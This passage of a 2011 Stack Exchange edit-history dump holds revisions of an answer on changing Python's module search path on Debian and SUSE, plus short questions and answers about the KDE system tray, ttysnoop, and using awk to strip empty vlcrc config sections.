&quot;python&quot; + sys.version[:3],&#xD;&#xA;        -                                        &quot;site-packages&quot;))&#xD;&#xA;        -            sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;lib&quot;, &quot;site-python&quot;))&#xD;&#xA;        +                                        &quot;dist-packages&quot;))&#xD;&#xA;        +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;lib&quot;, &quot;dist-python&quot;))&#xD;&#xA;                 else:&#xD;&#xA;                     sitedirs.append(prefix)&#xD;&#xA;                     sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;    &#xD;&#xA;    So you could modify the site.path in&#xD;&#xA;    your system package to produce a&#xD;&#xA;    modified module search path. You&#xD;&#xA;    probably don't want to this, though.&#xD;&#xA;    For one thing, you will have to&#xD;&#xA;    merge this in on every update of&#xD;&#xA;    your distribution's python package.&#xD;&#xA; &#xD;&#xA; 2. Change the module search path for&#xD;&#xA;    all users&#xD;&#xA;    &#xD;&#xA;    The environment variable PYTHONPATH&#xD;&#xA;    is normally used to override the&#xD;&#xA;    system path at user level. You can&#xD;&#xA;    put it in a file which will be&#xD;&#xA;    sourced by all users. Eg. in Debian&#xD;&#xA;    we have /etc/bash.bashrc, which says&#xD;&#xA;    at the top&#xD;&#xA;    &#xD;&#xA;        # System-wide .bashrc file for interactive bash(1) shells.&#xD;&#xA;        &#xD;&#xA;        # To enable the settings / commands in this file for login&#xD;&#xA;    shells as well,&#xD;&#xA;        # this file has to be sourced in /etc/profile.&#xD;&#xA;    &#xD;&#xA;    So you could update PYTHONPATH&#xD;&#xA;    there. You probably want it to be&#xD;&#xA;    sourced for both login and&#xD;&#xA;    interactive shells, so you'll want&#xD;&#xA;    to check on that. Unfortunately,&#xD;&#xA;    distributions are often flaky about&#xD;&#xA;    enabling this.&#xD;&#xA; &#xD;&#xA; 3. Change the module path per user.&#xD;&#xA;    &#xD;&#xA;    The usual way is to change&#xD;&#xA;    PYTHONPATH in the user's bashrc,&#xD;&#xA;    namely ~/.bashrc. Again, check that&#xD;&#xA;    it is sourced for both login and&#xD;&#xA;    interactive shells.&#xD;&#xA; 4. Change on a per script basis. This&#xD;&#xA;    is done by appending to sys.path,&#xD;&#xA;    namely&#xD;&#xA;    &#xD;&#xA;        import sys&#xD;&#xA;        sys.path.append(some_additional_path)&#xD;&#xA;    &#xD;&#xA;    This will only work for the script&#xD;&#xA;    that is importing this. This is&#xD;&#xA;    normally used, as far as I know, for&#xD;&#xA;    casual use, when importing modules&#xD;&#xA;    in nonstandard locations, like from&#xD;&#xA;    somewhere in a home directory.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24300" PostHistoryTypeId="5" PostId="10142" RevisionGUID="57a908c6-4be3-4e14-9298-284a1243c603" CreationDate="2011-03-26T10:44:09.560" UserId="4671" Comment="added 33 characters in body" Text="(Please correct errors and omissions as necessary. Thanks.)&#xD;&#xA;&#xD;&#xA;First, a question and a comment. I don't use SUSE, so take this with a pinch of salt. Are the packages that install in /usr/lib/python2.6/site-packages official packages? If so, SUSE is broken, so that is not likely. If they are not official packages, you could either ask the packagers to use the standard paths, or, alternatively, you could&#xD;&#xA;submit a wishlist bug to SUSE asking them to support this additional path. This will save you and other people additional headaches.&#xD;&#xA;&#xD;&#xA;For the moment, you have the following possibilies, in order of descreasing scope:&#xD;&#xA;&#xD;&#xA; 1. Change the module search path in the&#xD;&#xA;    Python installation.&#xD;&#xA;    &#xD;&#xA;    The default module search path is&#xD;&#xA;    hardwired into the binary. Addon&#xD;&#xA;    paths can be configured for example&#xD;&#xA;    in the site.py file. For example,&#xD;&#xA;    Debian uses&#xD;&#xA;    /usr/lib/python2.6/site.py (for the&#xD;&#xA;    default python 2.6 installation) to&#xD;&#xA;    do its site-specific configuration.&#xD;&#xA;    At the top of the file is written&#xD;&#xA;    &#xD;&#xA;        Append module search paths for third-party packages to sys.path.&#xD;&#xA;        &#xD;&#xA;        ****************************************************************&#xD;&#xA;        * This module is automatically imported during initialization. *&#xD;&#xA;        ****************************************************************&#xD;&#xA;        [...]&#xD;&#xA;        &#xD;&#xA;        This will append site-specific paths to the module search path.&#xD;&#xA;    &#xD;&#xA;    The Debian patch&#xD;&#xA;    debian/patches/site-locations.diff&#xD;&#xA;    says&#xD;&#xA;    &#xD;&#xA;    &gt; For Debian and derivatives, this&#xD;&#xA;    &gt; sys.path is augmented with directories&#xD;&#xA;    &gt; for packages distributed within the&#xD;&#xA;    &gt; distribution. Local addons go into&#xD;&#xA;    &gt; /usr/local/lib/python&lt;version&gt;/dist-packages,&#xD;&#xA;    &gt; Debian addons install into&#xD;&#xA;    &gt; /usr/{lib,share}/python&lt;version&gt;/dist-packages.&#xD;&#xA;    &gt; /usr/lib/python&lt;version&gt;/site-packages&#xD;&#xA;    &gt; is not used.&#xD;&#xA;    &#xD;&#xA;    The patch in question is&#xD;&#xA;    &#xD;&#xA;                    sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;Lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;                 elif os.sep == '/':&#xD;&#xA;        +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;local/lib&quot;,&#xD;&#xA;        +                                        &quot;python&quot; + sys.version[:3],&#xD;&#xA;        +                                        &quot;dist-packages&quot;))&#xD;&#xA;                     sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;lib&quot;,&#xD;&#xA;                                                 &quot;python&quot; + sys.version[:3],&#xD;&#xA;        -                                        &quot;site-packages&quot;))&#xD;&#xA;        -            sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;lib&quot;, &quot;site-python&quot;))&#xD;&#xA;        +                                        &quot;dist-packages&quot;))&#xD;&#xA;        +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;lib&quot;, &quot;dist-python&quot;))&#xD;&#xA;                 else:&#xD;&#xA;                     sitedirs.append(prefix)&#xD;&#xA;                     sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;    &#xD;&#xA;    So you could modify the site.path in&#xD;&#xA;    your system package to produce a&#xD;&#xA;    modified module search path. You&#xD;&#xA;    probably don't want to this, though.&#xD;&#xA;    For one thing, you will have to&#xD;&#xA;    merge this in on every update of&#xD;&#xA;    your distribution's python package.&#xD;&#xA; &#xD;&#xA; 2. Change the module search path for&#xD;&#xA;    all users&#xD;&#xA;    &#xD;&#xA;    The environment variable PYTHONPATH&#xD;&#xA;    is normally used to override the&#xD;&#xA;    system path at user level. You can&#xD;&#xA;    put it in a file which will be&#xD;&#xA;    sourced by all users. Eg. in Debian&#xD;&#xA;    we have /etc/bash.bashrc, which says&#xD;&#xA;    at the top&#xD;&#xA;    &#xD;&#xA;        # System-wide .bashrc file for interactive bash(1) shells.&#xD;&#xA;        &#xD;&#xA;        # To enable the settings / commands in this file for login&#xD;&#xA;    shells as well,&#xD;&#xA;        # this file has to be sourced in /etc/profile.&#xD;&#xA;    &#xD;&#xA;    So you could update PYTHONPATH&#xD;&#xA;    there. You probably want it to be&#xD;&#xA;    sourced for both login and&#xD;&#xA;    interactive shells, so you'll want&#xD;&#xA;    to check on that. Unfortunately,&#xD;&#xA;    distributions are often flaky about&#xD;&#xA;    enabling this.&#xD;&#xA; &#xD;&#xA; 3. Change the module search path per user.&#xD;&#xA;    &#xD;&#xA;    The usual way is to change&#xD;&#xA;    PYTHONPATH in the user's bashrc,&#xD;&#xA;    namely ~/.bashrc. Again, check that&#xD;&#xA;    it is sourced for both login and&#xD;&#xA;    interactive shells.&#xD;&#xA; &#xD;&#xA; 4. Change the module search path on a per script basis. This&#xD;&#xA;    is done by appending to sys.path,&#xD;&#xA;    namely&#xD;&#xA;    &#xD;&#xA;        import sys&#xD;&#xA;        sys.path.append(some_additional_path)&#xD;&#xA;    &#xD;&#xA;    This will only work for the script&#xD;&#xA;    that is importing this. This is&#xD;&#xA;    normally used, as far as I know, for&#xD;&#xA;    casual use, when importing modules&#xD;&#xA;    in nonstandard locations, like from&#xD;&#xA;    somewhere in a home directory.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24301" PostHistoryTypeId="5" PostId="10142" RevisionGUID="e34c6274-af94-475c-affd-5beaba48022d" CreationDate="2011-03-26T10:51:31.333" UserId="4671" Comment="added 84 characters in body; deleted 5 characters in body" Text="(Please correct errors and omissions as necessary. Thanks.)&#xD;&#xA;&#xD;&#xA;First, a question and a comment. I don't use SUSE, so take this with a pinch of salt. Are the packages that install in /usr/lib/python2.6/site-packages official packages? If so, SUSE is broken, so that is not likely. If they are not official packages, you could either ask the packagers to use the standard paths, or, alternatively, you could&#xD;&#xA;submit a wishlist bug to SUSE asking them to support this additional path. This will save you and other people additional headaches.&#xD;&#xA;&#xD;&#xA;For the moment, you have the following possibilies, in order of descreasing scope:&#xD;&#xA;&#xD;&#xA; 1. Change the module search path in the&#xD;&#xA;    Python installation.&#xD;&#xA;    &#xD;&#xA;    The default module search path is&#xD;&#xA;    hardwired into the binary. Addon&#xD;&#xA;    paths can be configured for example&#xD;&#xA;    in the site.py file. For example,&#xD;&#xA;    Debian uses&#xD;&#xA;    /usr/lib/python2.6/site.py (for the&#xD;&#xA;    default python 2.6 installation) to&#xD;&#xA;    do its site-specific configuration.&#xD;&#xA;    At the top of the file is written&#xD;&#xA;    &#xD;&#xA;        Append module search paths for third-party packages to sys.path.&#xD;&#xA;        &#xD;&#xA;        ****************************************************************&#xD;&#xA;        * This module is automatically imported during initialization. *&#xD;&#xA;        ****************************************************************&#xD;&#xA;        [...]&#xD;&#xA;        &#xD;&#xA;        This will append site-specific paths to the module search path.&#xD;&#xA;    &#xD;&#xA;    The Debian patch&#xD;&#xA;    debian/patches/site-locations.diff&#xD;&#xA;    says&#xD;&#xA;    &#xD;&#xA;    &gt; For Debian and derivatives, this&#xD;&#xA;    &gt; sys.path is augmented with directories&#xD;&#xA;    &gt; for packages distributed within the&#xD;&#xA;    &gt; distribution. Local addons go into&#xD;&#xA;    &gt; /usr/local/lib/python&lt;version&gt;/dist-packages,&#xD;&#xA;    &gt; Debian addons install into&#xD;&#xA;    &gt; /usr/{lib,share}/python&lt;version&gt;/dist-packages.&#xD;&#xA;    &gt; /usr/lib/python&lt;version&gt;/site-packages&#xD;&#xA;    &gt; is not used.&#xD;&#xA;    &#xD;&#xA;    The patch in question is&#xD;&#xA;    &#xD;&#xA;                        sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;Lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;                     elif os.sep == '/':&#xD;&#xA;            +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;local/lib&quot;,&#xD;&#xA;            +                                        &quot;python&quot; + sys.version[:3],&#xD;&#xA;            +                                        &quot;dist-packages&quot;))&#xD;&#xA;                         sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;,&#xD;&#xA;                                                     &quot;python&quot; + sys.version[:3],&#xD;&#xA;            -                                        &quot;site-packages&quot;))&#xD;&#xA;            -            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;site-python&quot;))&#xD;&#xA;            +                                        &quot;dist-packages&quot;))&#xD;&#xA;            +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;dist-python&quot;))&#xD;&#xA;                     else:&#xD;&#xA;                         sitedirs.append(prefix)&#xD;&#xA;                         sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;  &#xD;&#xA;    So you could modify the site.path in&#xD;&#xA;    your system package to produce a&#xD;&#xA;    modified module search path. You&#xD;&#xA;    probably don't want to this, though.&#xD;&#xA;    For one thing, you will have to&#xD;&#xA;    merge this in on every update of&#xD;&#xA;    your distribution's python package.&#xD;&#xA; &#xD;&#xA; 2. Change the module search path for&#xD;&#xA;    all users&#xD;&#xA;    &#xD;&#xA;    The environment variable PYTHONPATH&#xD;&#xA;    is normally used to override the&#xD;&#xA;    system path at user level. You can&#xD;&#xA;    put it in a file which will be&#xD;&#xA;    sourced by all users. Eg. in Debian&#xD;&#xA;    we have /etc/bash.bashrc, which says&#xD;&#xA;    at the top&#xD;&#xA;    &#xD;&#xA;        # System-wide .bashrc file for interactive bash(1) shells.&#xD;&#xA;        &#xD;&#xA;        # To enable the settings / commands in this file for login shells as well,&#xD;&#xA;        # this file has to be sourced in /etc/profile.&#xD;&#xA;    &#xD;&#xA;    So you could update PYTHONPATH&#xD;&#xA;    there. You probably want it to be&#xD;&#xA;    sourced for both login and&#xD;&#xA;    interactive shells, so you'll want&#xD;&#xA;    to check on that. Unfortunately,&#xD;&#xA;    distributions are often flaky about&#xD;&#xA;    enabling this.&#xD;&#xA; &#xD;&#xA; 3. Change the module search path per user.&#xD;&#xA;    &#xD;&#xA;    The usual way is to change&#xD;&#xA;    PYTHONPATH in the user's bashrc,&#xD;&#xA;    namely ~/.bashrc. Again, check that&#xD;&#xA;    it is sourced for both login and&#xD;&#xA;    interactive shells.&#xD;&#xA; &#xD;&#xA; 4. Change the module search path on a per script basis. This&#xD;&#xA;    is done by appending to sys.path,&#xD;&#xA;    namely&#xD;&#xA;    &#xD;&#xA;        import sys&#xD;&#xA;        sys.path.append(some_additional_path)&#xD;&#xA;    &#xD;&#xA;    This will only work for the script&#xD;&#xA;    that is importing this. This is&#xD;&#xA;    normally used, as far as I know, for&#xD;&#xA;    casual use, when importing modules&#xD;&#xA;    in nonstandard locations, like from&#xD;&#xA;    somewhere in a home directory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24302" PostHistoryTypeId="2" PostId="10143" RevisionGUID="bffaa8ef-8fe1-449a-8682-475ba4226323" CreationDate="2011-03-26T11:06:10.087" UserId="3327" Text="Is it possible to organize order of icons or lock them in KDE system tray? It's very confusing with a lot of shuffled application icons." />
  <row Id="24303" PostHistoryTypeId="1" PostId="10143" RevisionGUID="bffaa8ef-8fe1-449a-8682-475ba4226323" CreationDate="2011-03-26T11:06:10.087" UserId="3327" Text="KDE System Tray Organizer" />
  <row Id="24304" PostHistoryTypeId="3" PostId="10143" RevisionGUID="bffaa8ef-8fe1-449a-8682-475ba4226323" CreationDate="2011-03-26T11:06:10.087" UserId="3327" Text="ékdeà" />
  <row Id="24305" PostHistoryTypeId="2" PostId="10144" RevisionGUID="ab2415b3-9e06-4201-ad35-47f471dd02f2" CreationDate="2011-03-26T11:10:48.197" UserId="1170" Text="Check out ttysnoop: http://www.linuxhelp.net/guides/ttysnoop/&#xD;&#xA;&#xD;&#xA;I think you will not be able to see everything since boot, only everything after you connected to the snoop session." />
  <row Id="24306" PostHistoryTypeId="2" PostId="10145" RevisionGUID="1994fccc-67e1-43bf-9472-88d6ddc6ef1c" CreationDate="2011-03-26T11:17:53.193" UserId="3645" Text="Files like `~/.config/vlc/vlcrc` are 99% junk if you want to version control only the configuration options. I've got a [script][1] to remove the comments, but there's a ton of empty configuration sections left over. My `sed`- and `awk`-fu is not up to speed, so how can I remove the empty configuration sections?&#xD;&#xA;&#xD;&#xA;The first line of a configuration section matches `^\[.*\]$`, and it is *empty* if the first line is followed by any number of lines consisting only of whitespace, then followed by another line matching `^\[.*\]$` or `EOF`.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/l0b0/tilde/blob/master/scripts/cleanup.sh" />
  <row Id="24307" PostHistoryTypeId="1" PostId="10145" RevisionGUID="1994fccc-67e1-43bf-9472-88d6ddc6ef1c" CreationDate="2011-03-26T11:17:53.193" UserId="3645" Text="Remove empty configuration section" />
  <row Id="24308" PostHistoryTypeId="3" PostId="10145" RevisionGUID="1994fccc-67e1-43bf-9472-88d6ddc6ef1c" CreationDate="2011-03-26T11:17:53.193" UserId="3645" Text="éreplaceà" />
  <row Id="24309" PostHistoryTypeId="25" PostId="10143" RevisionGUID="e7f3189b-bfb2-49b8-9847-6f1a342abd5b" CreationDate="2011-03-26T11:31:40.237" Comment="http://twitter.com/#!/StackUnix/status/51607243099082753" />
  <row Id="24310" PostHistoryTypeId="2" PostId="10146" RevisionGUID="11fa1a8c-0d88-4129-876f-498b0a592de3" CreationDate="2011-03-26T12:25:14.537" UserId="885" Text="Recall section headers as you see them, but don't print them until you see a setting line in that section. You could do it in sed by storing the section header in the hold space, but it's clearer in awk.&#xD;&#xA;&#xD;&#xA;    awk '&#xD;&#xA;      /^ *\[/ {section=$0}    # recall latest section header&#xD;&#xA;      /^ *[^[#]/ {            # setting line&#xD;&#xA;        if (section != &quot;&quot;) {print section; section=&quot;&quot;;}  # print section header if not yet done&#xD;&#xA;        print&#xD;&#xA;      }&#xD;&#xA;    ' ~/.vlc/vlcrc &gt;~/config/vlc/vlcrc&#xD;&#xA;" />
  <row Id="24311" PostHistoryTypeId="6" PostId="10145" RevisionGUID="db7126b6-a21f-4011-b7c9-fac015248dc4" CreationDate="2011-03-26T12:25:33.180" UserId="885" Comment="edited tags" Text="étextöprocessingàéconfigurationàésedàéawkà" />
  <row Id="24312" PostHistoryTypeId="5" PostId="10142" RevisionGUID="627d0e3f-0f5a-4de2-8cbd-2f4725305b4c" CreationDate="2011-03-26T12:55:55.583" UserId="4671" Comment="added 659 characters in body; added 2 characters in body" Text="(Please correct errors and omissions as necessary. Thanks.)&#xD;&#xA;&#xD;&#xA;First, a question and a comment. I don't use SUSE, so take this with a pinch of salt. Are the packages that install in /usr/lib/python2.6/site-packages official packages? If so, SUSE is broken, so that is not likely. If they are not official packages, you could either ask the packagers to use the standard paths, or, alternatively, you could&#xD;&#xA;submit a wishlist bug to SUSE asking them to support this additional path. This will save you and other people additional headaches.&#xD;&#xA;&#xD;&#xA;For the moment, you have the following possibilies, in order of descreasing scope:&#xD;&#xA;&#xD;&#xA; 1. Change the module search path in the&#xD;&#xA;    Python installation.&#xD;&#xA;    &#xD;&#xA;    The default module search path is&#xD;&#xA;    hardwired into the binary. Addon&#xD;&#xA;    paths can be configured for example&#xD;&#xA;    in the site.py file. For example,&#xD;&#xA;    Debian uses&#xD;&#xA;    /usr/lib/python2.6/site.py (for the&#xD;&#xA;    default python 2.6 installation) to&#xD;&#xA;    do its site-specific configuration.&#xD;&#xA;    At the top of the file is written&#xD;&#xA;    &#xD;&#xA;        Append module search paths for third-party packages to sys.path.&#xD;&#xA;        &#xD;&#xA;        ****************************************************************&#xD;&#xA;        * This module is automatically imported during initialization. *&#xD;&#xA;        ****************************************************************&#xD;&#xA;        [...]&#xD;&#xA;        &#xD;&#xA;        This will append site-specific paths to the module search path.&#xD;&#xA;    &#xD;&#xA;    The Debian patch&#xD;&#xA;    debian/patches/site-locations.diff&#xD;&#xA;    says&#xD;&#xA;    &#xD;&#xA;    &gt; For Debian and derivatives, this&#xD;&#xA;    &gt; sys.path is augmented with directories&#xD;&#xA;    &gt; for packages distributed within the&#xD;&#xA;    &gt; distribution. Local addons go into&#xD;&#xA;    &gt; /usr/local/lib/python&lt;version&gt;/dist-packages,&#xD;&#xA;    &gt; Debian addons install into&#xD;&#xA;    &gt; /usr/{lib,share}/python&lt;version&gt;/dist-packages.&#xD;&#xA;    &gt; /usr/lib/python&lt;version&gt;/site-packages&#xD;&#xA;    &gt; is not used.&#xD;&#xA;    &#xD;&#xA;    The patch in question is&#xD;&#xA;    &#xD;&#xA;                        sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;Lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;                     elif os.sep == '/':&#xD;&#xA;            +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;local/lib&quot;,&#xD;&#xA;            +                                        &quot;python&quot; + sys.version[:3],&#xD;&#xA;            +                                        &quot;dist-packages&quot;))&#xD;&#xA;                         sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;,&#xD;&#xA;                                                     &quot;python&quot; + sys.version[:3],&#xD;&#xA;            -                                        &quot;site-packages&quot;))&#xD;&#xA;            -            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;site-python&quot;))&#xD;&#xA;            +                                        &quot;dist-packages&quot;))&#xD;&#xA;            +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;dist-python&quot;))&#xD;&#xA;                     else:&#xD;&#xA;                         sitedirs.append(prefix)&#xD;&#xA;                         sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;  &#xD;&#xA;    So you could modify the site.path in&#xD;&#xA;    your system package to produce a&#xD;&#xA;    modified module search path. You&#xD;&#xA;    probably don't want to this, though.&#xD;&#xA;    For one thing, you will have to&#xD;&#xA;    merge this in on every update of&#xD;&#xA;    your distribution's python package.&#xD;&#xA; &#xD;&#xA; 2. Change the module search path for&#xD;&#xA;    all users&#xD;&#xA;    &#xD;&#xA;    The environment variable PYTHONPATH&#xD;&#xA;    is normally used to append to the&#xD;&#xA;    system path at user level. You can&#xD;&#xA;    put it in a file which will be&#xD;&#xA;    sourced by all users. Eg. in Debian&#xD;&#xA;    we have /etc/bash.bashrc, which says&#xD;&#xA;    at the top&#xD;&#xA;    &#xD;&#xA;        # System-wide .bashrc file for interactive bash(1) shells.&#xD;&#xA;        &#xD;&#xA;        # To enable the settings / commands in this file for login shells as well,&#xD;&#xA;        # this file has to be sourced in /etc/profile.&#xD;&#xA;    &#xD;&#xA;    So you could add or PYTHONPATH&#xD;&#xA;    there. You probably want it to be&#xD;&#xA;    sourced for both login and&#xD;&#xA;    interactive shells, so you'll want&#xD;&#xA;    to check on that. Unfortunately,&#xD;&#xA;    distributions are often flaky about&#xD;&#xA;    enabling this.&#xD;&#xA;&#xD;&#xA;    The paths in PYTHONPATH are added to the default list of &#xD;&#xA;    search paths in the system (which can be obtained for&#xD;&#xA;    example by sys.path - see below). Allowing for the&#xD;&#xA;    possibility that PYTHONPATH is set already,&#xD;&#xA;    just add desired additional directories to it, eg.&#xD;&#xA;&#xD;&#xA;        export PYTHONPATH=$PYTHONPATH:&quot;/home/username/lib/python2.6/dist-packages&quot;&#xD;&#xA;    &#xD;&#xA;    If you source the PYTHONPATH variable, and then check sys.path again, you will   &#xD;&#xA;    see the paths have been added. Note that the position in which the paths in   &#xD;&#xA;    PYTHONPATH are added to the pre-existing paths does not seem to be prescribed by  &#xD;&#xA;    the implementation.&#xD;&#xA;&#xD;&#xA; 3. Change the module search path per user.&#xD;&#xA;    &#xD;&#xA;    The usual way is to change&#xD;&#xA;    PYTHONPATH in the user's bashrc,&#xD;&#xA;    namely ~/.bashrc. Again, check that&#xD;&#xA;    it is sourced for both login and&#xD;&#xA;    interactive shells.&#xD;&#xA; &#xD;&#xA; 4. Change the module search path on a per script basis. This&#xD;&#xA;    is done by appending to sys.path,&#xD;&#xA;    namely&#xD;&#xA;    &#xD;&#xA;        import sys&#xD;&#xA;        sys.path.append(some_additional_path)&#xD;&#xA;    &#xD;&#xA;    This will only work for the script&#xD;&#xA;    that is importing this. This is&#xD;&#xA;    normally used, as far as I know, for&#xD;&#xA;    casual use, when importing modules&#xD;&#xA;    in nonstandard locations, like from&#xD;&#xA;    somewhere in a home directory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24313" PostHistoryTypeId="5" PostId="10142" RevisionGUID="c848ff28-58ba-4b32-8d3b-bcf6f07a45d0" CreationDate="2011-03-26T13:01:09.763" UserId="4671" Comment="added 13 characters in body" Text="(Please correct errors and omissions as necessary. Thanks.)&#xD;&#xA;&#xD;&#xA;First, a question and a comment. I don't use SUSE, so take this with a pinch of salt. Are the packages that install in /usr/lib/python2.6/site-packages official packages? If so, SUSE is broken, so that is not likely. If they are not official packages, you could either ask the packagers to use the standard paths, or, alternatively, you could&#xD;&#xA;submit a wishlist bug to SUSE asking them to support this additional path. This will save you and other people additional headaches.&#xD;&#xA;&#xD;&#xA;For the moment, you have the following possibilies, in order of descreasing scope:&#xD;&#xA;&#xD;&#xA; 1. Change the module search path in the&#xD;&#xA;    Python installation.&#xD;&#xA;    &#xD;&#xA;    The default module search path is&#xD;&#xA;    hardwired into the binary. Add-on&#xD;&#xA;    paths can be configured at runtime,&#xD;&#xA;    for example in the site.py file.&#xD;&#xA;    For example, Debian uses&#xD;&#xA;    /usr/lib/python2.6/site.py (for the&#xD;&#xA;    default python 2.6 installation) to&#xD;&#xA;    do its site-specific configuration.&#xD;&#xA;    At the top of the file is written&#xD;&#xA;    &#xD;&#xA;        Append module search paths for third-party packages to sys.path.&#xD;&#xA;        &#xD;&#xA;        ****************************************************************&#xD;&#xA;        * This module is automatically imported during initialization. *&#xD;&#xA;        ****************************************************************&#xD;&#xA;        [...]&#xD;&#xA;        &#xD;&#xA;        This will append site-specific paths to the module search path.&#xD;&#xA;    &#xD;&#xA;    The Debian patch&#xD;&#xA;    debian/patches/site-locations.diff&#xD;&#xA;    says&#xD;&#xA;    &#xD;&#xA;    &gt; For Debian and derivatives, this&#xD;&#xA;    &gt; sys.path is augmented with directories&#xD;&#xA;    &gt; for packages distributed within the&#xD;&#xA;    &gt; distribution. Local addons go into&#xD;&#xA;    &gt; /usr/local/lib/python&lt;version&gt;/dist-packages,&#xD;&#xA;    &gt; Debian addons install into&#xD;&#xA;    &gt; /usr/{lib,share}/python&lt;version&gt;/dist-packages.&#xD;&#xA;    &gt; /usr/lib/python&lt;version&gt;/site-packages&#xD;&#xA;    &gt; is not used.&#xD;&#xA;    &#xD;&#xA;    The patch in question is&#xD;&#xA;    &#xD;&#xA;                        sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;Lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;                     elif os.sep == '/':&#xD;&#xA;            +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;local/lib&quot;,&#xD;&#xA;            +                                        &quot;python&quot; + sys.version[:3],&#xD;&#xA;            +                                        &quot;dist-packages&quot;))&#xD;&#xA;                         sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;,&#xD;&#xA;                                                     &quot;python&quot; + sys.version[:3],&#xD;&#xA;            -                                        &quot;site-packages&quot;))&#xD;&#xA;            -            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;site-python&quot;))&#xD;&#xA;            +                                        &quot;dist-packages&quot;))&#xD;&#xA;            +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;dist-python&quot;))&#xD;&#xA;                     else:&#xD;&#xA;                         sitedirs.append(prefix)&#xD;&#xA;                         sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;  &#xD;&#xA;    So you could modify the site.path in&#xD;&#xA;    your system package to produce a&#xD;&#xA;    modified module search path. You&#xD;&#xA;    probably don't want to this, though.&#xD;&#xA;    For one thing, you will have to&#xD;&#xA;    merge this in on every update of&#xD;&#xA;    your distribution's python package.&#xD;&#xA; &#xD;&#xA; 2. Change the module search path for&#xD;&#xA;    all users&#xD;&#xA;    &#xD;&#xA;    The environment variable PYTHONPATH&#xD;&#xA;    is normally used to append to the&#xD;&#xA;    system path at user level. You can&#xD;&#xA;    put it in a file which will be&#xD;&#xA;    sourced by all users. Eg. in Debian&#xD;&#xA;    we have /etc/bash.bashrc, which says&#xD;&#xA;    at the top&#xD;&#xA;    &#xD;&#xA;        # System-wide .bashrc file for interactive bash(1) shells.&#xD;&#xA;        &#xD;&#xA;        # To enable the settings / commands in this file for login shells as well,&#xD;&#xA;        # this file has to be sourced in /etc/profile.&#xD;&#xA;    &#xD;&#xA;    So you could add or PYTHONPATH&#xD;&#xA;    there. You probably want it to be&#xD;&#xA;    sourced for both login and&#xD;&#xA;    interactive shells, so you'll want&#xD;&#xA;    to check on that. Unfortunately,&#xD;&#xA;    distributions are often flaky about&#xD;&#xA;    enabling this.&#xD;&#xA;&#xD;&#xA;    The paths in PYTHONPATH are added to the default list of &#xD;&#xA;    search paths in the system (which can be obtained for&#xD;&#xA;    example by sys.path - see below). Allowing for the&#xD;&#xA;    possibility that PYTHONPATH is set already,&#xD;&#xA;    just add desired additional directories to it, eg.&#xD;&#xA;&#xD;&#xA;        export PYTHONPATH=$PYTHONPATH:&quot;/home/username/lib/python2.6/dist-packages&quot;&#xD;&#xA;    &#xD;&#xA;    If you source the PYTHONPATH variable, and then check sys.path again, you will   &#xD;&#xA;    see the paths have been added. Note that the position in which the paths in   &#xD;&#xA;    PYTHONPATH are added to the pre-existing paths does not seem to be prescribed by  &#xD;&#xA;    the implementation.&#xD;&#xA;&#xD;&#xA; 3. Change the module search path per user.&#xD;&#xA;    &#xD;&#xA;    The usual way is to change&#xD;&#xA;    PYTHONPATH in the user's bashrc,&#xD;&#xA;    namely ~/.bashrc. Again, check that&#xD;&#xA;    it is sourced for both login and&#xD;&#xA;    interactive shells.&#xD;&#xA; &#xD;&#xA; 4. Change the module search path on a per script basis. This&#xD;&#xA;    is done by appending to sys.path,&#xD;&#xA;    namely&#xD;&#xA;    &#xD;&#xA;        import sys&#xD;&#xA;        sys.path.append(some_additional_path)&#xD;&#xA;    &#xD;&#xA;    This will only work for the script&#xD;&#xA;    that is importing this. This is&#xD;&#xA;    normally used, as far as I know, for&#xD;&#xA;    casual use, when importing modules&#xD;&#xA;    in nonstandard locations, like from&#xD;&#xA;    somewhere in a home directory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
